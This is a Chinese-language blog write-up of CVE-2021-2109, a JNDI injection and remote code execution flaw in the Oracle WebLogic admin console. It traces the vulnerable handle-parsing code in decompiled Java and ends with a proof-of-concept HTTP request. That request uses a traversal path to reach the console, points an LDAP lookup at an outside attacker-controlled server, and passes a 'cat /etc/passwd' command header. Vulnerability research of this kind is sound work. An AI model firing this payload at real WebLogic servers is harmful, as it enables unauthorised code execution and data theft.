Weblogic LDAP 远程代码执行漏洞分析(CVE-2021-2109)
2021-03-01   # JAVA安全

影响版本:

​ WebLogic Server 10.3.6.0.0
​ WebLogic Server 12.1.3.0.0
​ WebLogic Server 12.2.1.3.0
​ WebLogic Server 12.2.1.4.0
​ WebLogic Server 14.1.1.0.0

漏洞描述

JNDI 注入漏洞,需要登录控制台或者配合 CVE-2020-14882 未授权漏洞。

漏洞分析

先看 payload /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.43.43;23:1389/Basic/WeblogicEcho;AdminServer%22)

从 consolejndi.portal 开始看起,直接定位 JNDIBindingPageGeneral

/weblogic_jars/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/consolejndi.portal

image-20210301155539938

继续跟进到 /PortalConfig/jndi/jndibinding.portlet

/weblogic_jars/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/PortalConfig/jndi/jndibinding.portlet

image-20210301155825824

JNDIBindingAction 类应该就是触发漏洞的入口了

com.bea.console.actions.jndi.JNDIBindingAction

image-20210301160258094

找到了 jndi 注入关键的 lookup 函数,参数为 context + “.” + bindName,前边有个 if 判断 serverMBean != null。

所以现在要jndi注入的话需要满足

  1. context、bindName 可控

  2. serverMBean != null ,serverMBean 由 serverName 控制即 serverName 可控

跟一下 context、bindName、serverName ,三个参数都是由 bindingHandle 获取的,bindingHandle.getContext() 、 bindingHandle.getBinding()、 bindingHandle.getServer()

1
2
3
4
5
6
JndiBindingHandle bindingHandle = (JndiBindingHandle)this.getHandleContext(actionForm, request, "JNDIBinding");
...
DomainMBean domainMBean = MBeanUtils.getDomainMBean();
String context = bindingHandle.getContext();
String bindName = bindingHandle.getBinding();
String serverName = bindingHandle.getServer();

image-20210301163734492

image-20210301163937364

继续一路跟进到自身的 bindingHandle.getComponents() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private String[] getComponents() {
if (this.components == null) {
String serialized = this.getObjectIdentifier();
ArrayList componentList = new ArrayList();
StringBuffer currentComponent = new StringBuffer();
boolean lastWasSpecial = false;

for(int i = 0; i < serialized.length(); ++i) {
char c = serialized.charAt(i);
if (lastWasSpecial) {
if (c == '0') {
if (currentComponent == null) {
throw new AssertionError("Handle component already null : '" + serialized + '"');
}

if (currentComponent.length() > 0) {
throw new AssertionError("Null handle component preceeded by a character : '" + serialized + "'");
}

currentComponent = null;
} else if (c == '\\') {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
}

currentComponent.append('\\');
} else {
if (c != ';') {
throw new AssertionError("\\ in handle followed by a character :'" + serialized + "'");
}

if (currentComponent == null) {
throw new AssertionError("Null handle followed by ; : '" + serialized + "'");
}

currentComponent.append(';');
}

lastWasSpecial = false;
} else if (c == '\\') {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
}

lastWasSpecial = true;
} else if (c == ';') {
String component = currentComponent != null ? currentComponent.toString() : null;
componentList.add(component);
currentComponent = new StringBuffer();
} else {
if (currentComponent == null) {
throw new AssertionError("Null handle followed by a character : '" + serialized + "'");
}

currentComponent.append(c);
}
}

if (lastWasSpecial) {
throw new AssertionError("Last character in handle is \\ :'" + serialized + "'");
}

String component = currentComponent != null ? currentComponent.toString() : null;
componentList.add(component);
this.components = (String[])((String[])componentList.toArray(new String[componentList.size()]));
}

return this.components;
}

大概逻辑就是将 bindingHandle 的 objectIdentifier 的用; 分割成数组 context、bindName 取数组的 第一位和第二位 serverName 取第三位。

bindingHandle 的 objectIdentifier 参数应该是在构造 bindingHandle 的时候赋值的,跟进 bindingHandle.getContext() 看下bindingHandle 是如何构造的。

image-20210301165414829

image-20210301170029505

一路跟进到 HandleUtils#getHandleContext(), 返回的 handle 是由 HandleUtils#getHandleContextFromRequest() 方法生成的,继续跟进

image-20210301165708165

跟进 HandleUtils#handleFromQueryString() 方法

image-20210301165854550

HandleUtils#handleFromQueryString() 方法会遍历 request 的参数,当参数名以 handle 结尾时,用 ConvertUtils.convert () 方法处理参数值, ConvertUtils.convert () 方法的作用是转换类型在这里可以将字符串转换为 handle 对象,我们可以按照 ConvertUtils.convert 的格式构造 bindingHandle ,而 bindingHandle 属于 JndiBindingHandle 类,objectIdentifier 是在构造函数里设置的

image-20210301171508289

构造参数 xxxhandle=com.bea.console.handles.JndiBindingHandle(“context;bindName;serverName”) 就可以控制context、bindName、serverName 三个参数

前面说到需要让 serverMBean != null ,serverMBean 由 serverName 控制的,看 Payload 是让 serverName=AdminServer 就行 ,懒得去分析了。

最终带到 c.lookup 方法里的时候 context 和 bindName 之间会拼接一个 . 构造LDAP地址的时候得注意一下

1
Object boundObj = c.lookup(context + "." + bindName);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&xxx handle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.43.43;23:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 127.0.0.1:7001
cmd: cat /etc/passwd
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=p3w1g8hdgnFLy9xL72JlMLn5nwPgG2CsKb1myGZghXJT2K7STmwR!2140432006
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20210301173436178

image-20210301173355897

才疏学浅,文笔垃圾,如有错误望师傅们斧正